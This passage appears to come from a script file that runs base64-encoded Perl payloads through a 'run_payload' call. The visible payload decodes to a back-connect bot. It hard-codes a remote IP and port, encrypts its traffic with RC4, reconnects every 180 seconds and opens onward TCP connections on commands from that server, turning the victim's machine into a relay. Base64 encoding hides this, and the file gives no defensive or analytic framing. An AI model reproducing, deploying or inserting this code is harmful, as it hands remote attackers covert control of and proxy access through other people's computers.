KCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_57.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3